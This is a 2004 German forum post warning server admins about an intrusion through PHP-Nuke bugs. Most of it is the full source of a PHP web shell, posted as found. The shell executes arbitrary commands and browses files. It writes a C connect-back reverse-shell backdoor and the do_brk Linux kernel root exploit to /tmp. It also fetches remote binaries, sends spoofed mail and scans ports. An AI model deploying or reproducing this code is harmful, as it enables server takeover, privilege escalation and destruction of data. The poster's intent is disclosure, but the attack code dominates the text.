Sicherheistlücke in PHP bei EINGESCHALTETEM Safemode
Posted: 2004-03-22 18:06
Dies ist nur eine Information:
Dieser Quellcode wurde von Kiddies mittels (my)PHP-Nuke Bugs nach "/tmp" kopiert und ausgeführt. Danach konnten die Kiddies ein paar Shoutcast Streams und PsyBNC`s als wwwrun laufen lassen. Später wurde auch der Kernel Ã?berschrieben und die Platte (ge)shred(ded) :evil: .
Das Problem besteht nur bei folgender Server Konfiguration:
Suse Linux > 7.3
Apache 2.0.x
PHP 4.x.x (Safemode ON register_globals OFF)
Der Quellcode des Scripts ist wohl selbst erklärend:
Tipp an alle: Blockt alle Hostanamen die auf *.br und *.pl und *.cz enden. Da diese ganzen Scripte über Proxys aus den dazugehöhrigen ländern gefahren werden.
Dieser Quellcode wurde von Kiddies mittels (my)PHP-Nuke Bugs nach "/tmp" kopiert und ausgeführt. Danach konnten die Kiddies ein paar Shoutcast Streams und PsyBNC`s als wwwrun laufen lassen. Später wurde auch der Kernel Ã?berschrieben und die Platte (ge)shred(ded) :evil: .
Das Problem besteht nur bei folgender Server Konfiguration:
Suse Linux > 7.3
Apache 2.0.x
PHP 4.x.x (Safemode ON register_globals OFF)
Der Quellcode des Scripts ist wohl selbst erklärend:
Code: Select all
<CENTER>
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #F3A700;">Data Cha0s PHP Command/Safemode Exploit 4.1</DIV>
<BR>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">System Information</DIV>
<?php
// Ae galera se forem Ripar coloca pelo menos um escrito sobre o Data Cha0s
closelog( );
$dono = get_current_user( );
$ver = phpversion( );
$login = posix_getuid( );
$euid = posix_geteuid( );
$gid = posix_getgid( );
if ($chdir == "") $chdir = getcwd( );
?>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php
$uname = posix_uname( );
while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;"><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
}
?>
<TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Script Current User: <?= $dono ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">PHP Version: <?= $ver ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">User Info: uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Current Path: <?= $chdir ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Server IP: <?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 15px;">Web Server: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
</TR>
</TABLE>
<BR>
<?php
if ($cmd != "") {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Command Mode Run</DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Command Stdout</DIV>
<?php
if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}
if (isset($chdir)) @chdir($chdir);
ob_start( );
$fe("$cmd 2>&1");
$output = ob_get_contents();
ob_end_clean( );
?>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 12px;">
<?php
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
</TEXTAREA>
<BR>
<?php
}
if ($safemode != "") {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Safemode Mode Run</DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Safe Mode Directory Listing</DIV>
<?php
if ($dir = @opendir($chdir)) {
echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
echo "<TR>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
while (($file = readdir($dir)) !== false) {
if (@is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>";
// echo "<font color=green>$file1 - $file2 - $file </font><br>";
flush( );
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";
// echo "<font color=blue>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TD>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";
if ($dir = opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TR>";
echo "</TABLE>";
}
}
?>
<?php
if ($shell == "write") {
$shell = "#include <stdio.h>n" .
"#include <sys/socket.h>n" .
"#include <netinet/in.h>n" .
"#include <arpa/inet.h>n" .
"#include <netdb.h>n" .
"int main(int argc, char **argv) {n" .
" char *host;n" .
" int port = 80;n" .
" int f;n" .
" int l;n" .
" int sock;n" .
" struct in_addr ia;n" .
" struct sockaddr_in sin, from;n" .
" struct hostent *he;n" .
" char msg[ ] = "Welcome to Data Cha0s Connect Back Shell\n\n"n" .
" "Issue \"export TERM=xterm; exec bash -i\"\n"n" .
" "For More Reliable Shell.\n"n" .
" "Issue \"unset HISTFILE; unset SAVEHIST\"\n"n" .
" "For Not Getting Logged.\n(;\n\n";n" .
" printf("Data Cha0s Connect Back Backdoor\n\n");n" .
" if (argc < 2 || argc > 3) {n" .
" printf("Usage: %s [Host] <port>\n", argv[0]);n" .
" return 1;n" .
" }n" .
" printf("[*] Dumping Arguments\n");n" .
" l = strlen(argv[1]);n" .
" if (l <= 0) {n" .
" printf("[-] Invalid Host Name\n");n" .
" return 1;n" .
" }n" .
" if (!(host = (char *) malloc(l))) {n" .
" printf("[-] Unable to Allocate Memory\n");n" .
" return 1;n" .
" }n" .
" strncpy(host, argv[1], l);n" .
" if (argc == 3) {n" .
" port = atoi(argv[2]);n" .
" if (port <= 0 || port > 65535) {n" .
" printf("[-] Invalid Port Number\n");n" .
" return 1;n" .
" }n" .
" }n" .
" printf("[*] Resolving Host Name\n");n" .
" he = gethostbyname(host);n" .
" if (he) {n" .
" memcpy(&ia.s_addr, he->h_addr, 4);n" .
" } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {n" .
" printf("[-] Unable to Resolve: %s\n", host);n" .
" return 1;n" .
" }n" .
" sin.sin_family = PF_INET;n" .
" sin.sin_addr.s_addr = ia.s_addr;n" .
" sin.sin_port = htons(port);n" .
" printf("[*] Connecting...\n");n" .
" if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {n" .
" printf("[-] Socket Error\n");n" .
" return 1;n" .
" }n" .
" if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {n" .
" printf("[-] Unable to Connect\n");n" .
" return 1;n" .
" }n" .
" printf("[*] Spawning Shell\n");n" .
" f = fork( );n" .
" if (f < 0) {n" .
" printf("[-] Unable to Fork\n");n" .
" return 1;n" .
" } else if (!f) {n" .
" write(sock, msg, sizeof(msg));n" .
" dup2(sock, 0);n" .
" dup2(sock, 1);n" .
" dup2(sock, 2);n" .
" execl("/bin/sh", "shell", NULL);n" .
" close(sock);n" .
" return 0;n" .
" }n" .
" printf("[*] Detached\n\n");n" .
" return 0;n" .
"}n";
$fp = fopen("/tmp/dc-connectback.c", "w");
$ok = fwrite($fp, $shell);
if (!empty($ok)) {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Connect Back Shell Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Copying Shell</DIV>";
}
}
if ($kernel == "write") {
$kernel = "/*n" .
" * hatorihanzo.cn" .
" * Linux kernel do_brk vma overflow exploit.n" .
" *n" .
" * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>n" .
" *n" .
" * Further research and exploit development byn" .
" * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.n" .
" *n" .
" * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.n" .
" *n" .
" * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USEn" .
" * OF PRESENTED CODE IS STRICTLY PROHIBITED.n" .
"*/n" .
"#define _GNU_SOURCEn" .
"#include <stdio.h>n" .
"#include <stdlib.h>n" .
"#include <errno.h>n" .
"#include <string.h>n" .
"#include <unistd.h>n" .
"#include <fcntl.h>n" .
"#include <signal.h>n" .
"#include <paths.h>n" .
"#include <grp.h>n" .
"#include <setjmp.h>n" .
"#include <stdint.h>n" .
"#include <sys/mman.h>n" .
"#include <sys/ipc.h>n" .
"#include <sys/shm.h>n" .
"#include <sys/ucontext.h>n" .
"#include <sys/wait.h>n" .
"#include <asm/ldt.h>n" .
"#include <asm/page.h>n" .
"#include <asm/segment.h>n" .
"#include <linux/unistd.h>n" .
"#include <linux/linkage.h>n" .
"#define kB * 1024n" .
"#define MB * 1024 kBn" .
"#define GB * 1024 MBn" .
"#define MAGIC 0xdefaced /* I should've patented this number -cliph */n" .
"#define ENTRY_MAGIC 0n" .
"#define ENTRY_GATE 2n" .
"#define ENTRY_CS 4n" .
"#define ENTRY_DS 6n" .
"#define CS ((ENTRY_CS << 2) | 4)n" .
"#define DS ((ENTRY_DS << 2) | 4)n" .
"#define GATE ((ENTRY_GATE << 2) | 4 | 3)n" .
"#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)n" .
"#define TOP_ADDR 0xFFFFE000Un" .
"/* configuration */n" .
"unsigned task_size;n" .
"unsigned page;n" .
"uid_t uid;n" .
"unsigned address;n" .
"int dontexit = 0;n" .
"void fatal(char * msg)n" .
"{n" .
" fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno));n" .
" if (dontexit) {n" .
" fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n");n" .
" kill(getpid(), SIGSTOP);n" .
" for (;;) pause();n" .
" }n" .
" exit(EXIT_FAILURE);n" .
"}n" .
"void configure(void)n" .
"{n" .
" unsigned val;n" .
" task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;n" .
" uid = getuid();n" .
"}n" .
"void expand(void)n" .
"{n" .
" unsigned top = (unsigned) sbrk(0);n" .
" unsigned limit = address + PAGE_SIZE;n" .
" do {n" .
" if (sbrk(PAGE_SIZE) == NULL)n" .
" fatal("Kernel seems not to be vulnerable");n" .
" dontexit = 1;n" .
" top += PAGE_SIZE;n" .
" } while (top < limit);n" .
"}n" .
"jmp_buf jmp;n" .
"#define MAP_NOPAGE 1n" .
"#define MAP_ISPAGE 2n" .
"void sigsegv(int signo, siginfo_t * si, void * ptr)n" .
"{n" .
" struct ucontext * uc = (struct ucontext *) ptr;n" .
" int error_code = uc->uc_mcontext.gregs[REG_ERR];n" .
" (void)signo;n" .
" (void)si;n" .
" error_code = MAP_NOPAGE + (error_code & 1);n" .
" longjmp(jmp, error_code);n" .
"}n" .
"void prepare(void)n" .
"{n" .
" struct sigaction sa;n" .
" sa.sa_sigaction = sigsegv;n" .
" sa.sa_flags = SA_SIGINFO | SA_NOMASK;n" .
" sigemptyset(&sa.sa_mask);n" .
" sigaction(SIGSEGV, &sa, NULL);n" .
"}n" .
"int testaddr(unsigned addr)n" .
"{n" .
" int val;n" .
" val = setjmp(jmp);n" .
" if (val == 0) {n" .
" asm ("verr (%%eax)" : : "a" (addr));n" .
" return MAP_ISPAGE;n" .
" }n" .
" return val;n" .
"}n" .
"#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)n" .
"#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))n" .
"#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)n" .
"void map(unsigned * map)n" .
"{n" .
" unsigned addr = task_size;n" .
" unsigned bit = 1;n" .
" prepare();n" .
" while (addr < TOP_ADDR) {n" .
" if (testaddr(addr) == MAP_ISPAGE)n" .
" *map |= bit;n" .
" addr += PAGE_SIZE;n" .
" next(map, bit);n" .
" }n" .
" signal(SIGSEGV, SIG_DFL);n" .
"}n" .
"void find(unsigned * m)n" .
"{n" .
" unsigned addr = task_size;n" .
" unsigned bit = 1;n" .
" unsigned count;n" .
" unsigned tmp;n" .
" prepare();n" .
" tmp = address = count = 0U;n" .
" while (addr < TOP_ADDR) {n" .
" int val = testaddr(addr);n" .
" if (val == MAP_ISPAGE && (*m & bit) == 0) {n" .
" if (!tmp) tmp = addr;n" .
" count++;n" .
" } else {n" .
" if (tmp && count == LDT_PAGES) {n" .
" errno = EAGAIN;n" .
" if (address)n" .
" fatal("double allocation\n");n" .
" address = tmp;n" .
" }n" .
" tmp = count = 0U;n" .
" }n" .
" addr += PAGE_SIZE;n" .
" next(m, bit);n" .
" }n" .
" signal(SIGSEGV, SIG_DFL);n" .
" if (address)n" .
" return;n" .
" errno = ENOTSUP;n" .
" fatal("Unable to determine kernel address");n" .
"}n" .
"int modify_ldt(int, void *, unsigned);n" .
"void ldt(unsigned * m)n" .
"{n" .
" struct modify_ldt_ldt_s l;n" .
" map(m);n" .
" memset(&l, 0, sizeof(l));n" .
" l.entry_number = LDT_ENTRIES - 1;n" .
" l.seg_32bit = 1;n" .
" l.base_addr = MAGIC >> 16;n" .
" l.limit = MAGIC & 0xffff;n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)n" .
" fatal("Unable to set up LDT");n" .
" l.entry_number = ENTRY_MAGIC / 2;n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)n" .
" fatal("Unable to set up LDT");n" .
" find(m);n" .
"}n" .
"asmlinkage void kernel(unsigned * task)n" .
"{n" .
" unsigned * addr = task;n" .
" /* looking for uids */n" .
" while (addr[0] != uid || addr[1] != uid ||n" .
" addr[2] != uid || addr[3] != uid)n" .
" addr++;n" .
" addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */n" .
" addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */n" .
" addr[8] = 0;n" .
" /* looking for vma */n" .
" for (addr = (unsigned *) task_size; addr; addr++) {n" .
" if (addr[0] >= task_size && addr[1] < task_size &&n" .
" addr[2] == address && addr[3] >= task_size) {n" .
" addr[2] = task_size - PAGE_SIZE;n" .
" addr = (unsigned *) addr[3];n" .
" addr[1] = task_size - PAGE_SIZE;n" .
" addr[2] = task_size;n" .
" break;n" .
" }n" .
" }n" .
"}n" .
"void kcode(void);n" .
"#define __str(s) #sn" .
"#define str(s) __str(s)n" .
"void __kcode(void)n" .
"{n" .
" asm(n" .
" "kcode: \n"n" .
" " pusha \n"n" .
" " pushl %es \n"n" .
" " pushl %ds \n"n" .
" " movl $(" str(DS) ") ,%edx \n"n" .
" " movl %edx,%es \n"n" .
" " movl %edx,%ds \n"n" .
" " movl $0xffffe000,%eax \n"n" .
" " andl %esp,%eax \n"n" .
" " pushl %eax \n"n" .
" " call kernel \n"n" .
" " addl $4, %esp \n"n" .
" " popl %ds \n"n" .
" " popl %es \n"n" .
" " popa \n"n" .
" " lret \n"n" .
" );n" .
"}n" .
"void knockout(void)n" .
"{n" .
" unsigned * addr = (unsigned *) address;n" .
" if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)n" .
" fatal("Unable to change page protection");n" .
" errno = ESRCH;n" .
" if (addr[ENTRY_MAGIC] != MAGIC)n" .
" fatal("Invalid LDT entry");n" .
" /* setting call gate and privileged descriptors */n" .
" addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);n" .
" addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;n" .
" addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */n" .
" addr[ENTRY_CS+1] = 0x00cf9a00U;n" .
" addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */n" .
" addr[ENTRY_DS+1] = 0x00cf9200U;n" .
" prepare();n" .
" if (setjmp(jmp) != 0) {n" .
" errno = ENOEXEC;n" .
" fatal("Unable to jump to call gate");n" .
" }n" .
" asm("lcall $" str(GATE) ",$0x0"); /* this is it */n" .
"}n" .
"void shell(void)n" .
"{n" .
" char * argv[] = { _PATH_BSHELL, NULL };n" .
" execve(_PATH_BSHELL, argv, environ);n" .
" fatal("Unable to spawn shell\n");n" .
"}n" .
"void remap(void)n" .
"{n" .
" static char stack[8 MB]; /* new stack */n" .
" static char * envp[] = { "PATH=" _PATH_STDPATH, NULL };n" .
" static unsigned * m;n" .
" static unsigned b;n" .
" m = (unsigned *) sbrk(map_size);n" .
" if (!m)n" .
" fatal("Unable to allocate memory");n" .
" environ = envp;n" .
" asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack)));n" .
" b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;n" .
" if (munmap((void*)b, task_size - b) == -1)n" .
" fatal("Unable to unmap stack");n" .
" while (b < task_size) {n" .
" if (sbrk(PAGE_SIZE) == NULL)n" .
" fatal("Unable to expand BSS");n" .
" b += PAGE_SIZE;n" .
" }n" .
" ldt(m);n" .
" expand();n" .
" knockout();n" .
" shell();n" .
"}n" .
"int main(void)n" .
"{n" .
" configure();n" .
" remap();n" .
" return EXIT_FAILURE;n" .
"}n";
$fp = fopen("/tmp/xpl_brk.c", "w");
$ok = fwrite($fp, $kernel);
if (!empty($ok)) {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Linux Local Kernel Exploit Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Copying Kernel Exploit</DIV>";
}
}
?>
</CENTER>
<pre><font face="Tahoma" size="2">
<?php
// Function to Visualize Source Code files
if ($see != "") {
$fp = fopen($see, "r");
$read = fread($fp, 30000);
echo "============== $see ================<br>";
echo "<textarea name=textarea cols=80 rows=15>";
echo "$read";
Echo "</textarea>";
}
// Function to Dowload Local Xploite Binary COde or Source Code
if ($dx != "") {
$fp = @fopen("$hostxpl",r);
$fp2 = @fopen("$storage","w");
fwrite($fp2, "");
$fp1 = @fopen("$storage","a+");
for (;;) {
$read = @fread($fp, 4096);
if (empty($read)) break;
$ok = fwrite($fp1, $read);
if (empty($ok)) {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Uploading File</DIV>";
break;
}
}
if (!empty($ok)) {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] File Was Successfuly Uploaded</DIV>";
}
}
flush( );
// Function to visulize Format Color Source Code PHP
if ($sfc != "") {
$showcode = show_source("$sfc");
echo "<font size=4> $showcode </font>";
}
// Function to Visualize all infomation files
if ($fileinfo != "") {
$infofile = stat("$fileanalize");
while (list($info, $value) = each ($infofile)) {
echo" Info: $info Value: $value <br>";
}
}
// Function to send fake mail
if ($fake == 1) {
echo "<FORM METHOD=POST ACTION="$SCRIPT_NAME?$QUERY_STRING&send=1">";
echo "Your Fake Mail <INPUT TYPE="" NAME="yourmail"><br>";
echo "Your Cavy:<INPUT TYPE="" NAME="cavy"><br>";
echo "Suject: <INPUT TYPE="text" NAME="subject"><br>";
echo "Text: <TEXTAREA NAME="body" ROWS="" COLS=""></TEXTAREA><br>";
echo "<INPUT TYPE="hidden" NAME="send" VALUE="1"><br>";
echo "<INPUT TYPE="submit" VALUE="Send Fake Mail">";
echo "</FORM>";
}
if($send == 1) {
if (mail($cavy, $subject, $body, "From: $yourmailrn")) {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Mail Send Sucessfuly</DIV>";
} else {
echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Sending Mail</DIV>";
}
}
if ($portscan != "") {
$port = array ("21","22","23","25","110",);
$values = count($port);
for ($cont=0; $cont < $values; $cont++) {
@$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1);
$service = Getservbyport($port[$cont],"tcp");
@$get = fgets($sock[$cont]);
echo "<br>Port: $port[$cont] - Service: $service<br><br>";
echo "<br>Banner: $get <br><br>";
flush();
}
}
?>
</font></pre>